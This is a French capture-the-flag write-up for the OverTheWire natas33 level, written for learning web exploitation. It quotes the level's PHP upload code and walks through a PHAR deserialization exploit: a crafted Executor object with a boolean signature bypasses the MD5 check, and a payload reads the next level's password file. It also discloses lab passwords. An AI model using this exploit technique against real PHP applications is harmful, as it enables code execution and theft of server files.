Niveau 33
Level Goal
Username: natas33
Password: shoogeiGa2yee3de6Aex8uaXeech5eey
URL: http://natas33.natas.labs.overthewire.org
Une fois connecté on arrive sur un formulaire d'upload en PHP :
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="u4bb7ho8vucujfjvct346hqrj6" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
avec le code source suivant associé :
<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
?>
<h1>natas33</h1>
<div id="content">
<h2>Can you get it right?</h2>
<?php
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<? echo session_id(); ?>" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
Le code permet de simuler une mise à jour d'un firmware avec la logique suivante :
- on upload un fichier au format que l'on souhaite (idéalement PHP)
- le serveur vérifie via la fonction
md5_file()
que le fichier a bien le hash MD5 que la signature stockée côté serveur - si le hash et la signature corresponde, le serveur exécute le fichier uploadé
On peut imaginer plusieurs hypothèses pour trouver la solution à ce problème :
- créer un fichier qui corresponde exactement au hash MD5 attendu. C'est le concept de collision de hash (plusieurs valeurs différentes peuvent donner le même hash), mais le temps de calcul demandé avant de retomber sur un hash identique se conterait probablement en année (il y a
16^32
possibilités) - trouver un moyen d'accéder au fichier uploadé via une faille de type
directory traversal
- arriver à bypasser la fonction de vérification du hash et de la signature
En l'occurence c'est la dernière hypothèse qui est la bonne : après de nombreuses recherches, la solution plutôt complexe est d'utiliser une archive PHAR. Pour faire simple, une archive PHAR est un format d'archive PHP permettant, à l'instar du format JAR pour Java, de partager une bibliothèque ou une application en un seul fichier.
Plusieurs points sont importants :
- PHP utilise un protocole spécifique (
phar://
) pour lire les archives PHAR. Ainsi pour exploiter cette faille il faudra que le nom du fichier que l'on envoi soit de la formephar://exploit.phar/exploit.txt
, auquel cas la fonctionmd5_file()
cherchera à l'ouvrir comme une archive PHAR - si l'archive PHAR contient une instance de classe au nom similaire à la classe contenue dans le code source de la page, l'instance de l'archive sera utilisée
- PHP va déserializer l'archive PHAR puis appeler la fonction
__destruct()
contenu dans celle-ci
Créons un fichier exploit.php
qui lira le mot de passe du prochain niveau :
<?php echo file_get_contents('/etc/natas_webpass/natas34'); ?>
Puis créons un second fichier create_phar.php
permettant d'exploiter la faille :
class Executor{
private $filename = "exploit.php";
private $signature = true;
private $init = false;
function __construct() {}
function __destruct() {}
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString("exploit.txt", 'exploit');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new Executor();
$phar->setMetadata($object);
$phar->stopBuffering();
Plusieurs éléments sont à prendre en compte dans ce code :
- on ajoute une valeur constante à
$filename
;exploit.php
qui est le nom de notre second fichier uploadé - en instanciant
$signature
comme booléen àtrue
, on s'assure que le hash MD5 de notre fichier sera toujours accepté
On utilise ensuite la commande PHP suivante pour créer une archive PHAR :
php --define phar.readonly=0 create_phar.php
L'exploitation va alors se faire en 3 étapes :
- tout d'abord uploader le fichier
exploit.php
en s'assurant que le paramètrefilename
du formulaire a bien la valeurexploit.php
- puis, uploader notre archive
exploit.phar
- enfin, exécuter le contenu de notre archive
exploit.phar
en mettant le paramètre de formulairefilename
àphar://exploit.phar/exploit.txt
Une fois cela fait on obtient le mot de passe du niveau suivant ; shu5ouSu6eicielahhae0mohd4ui5uig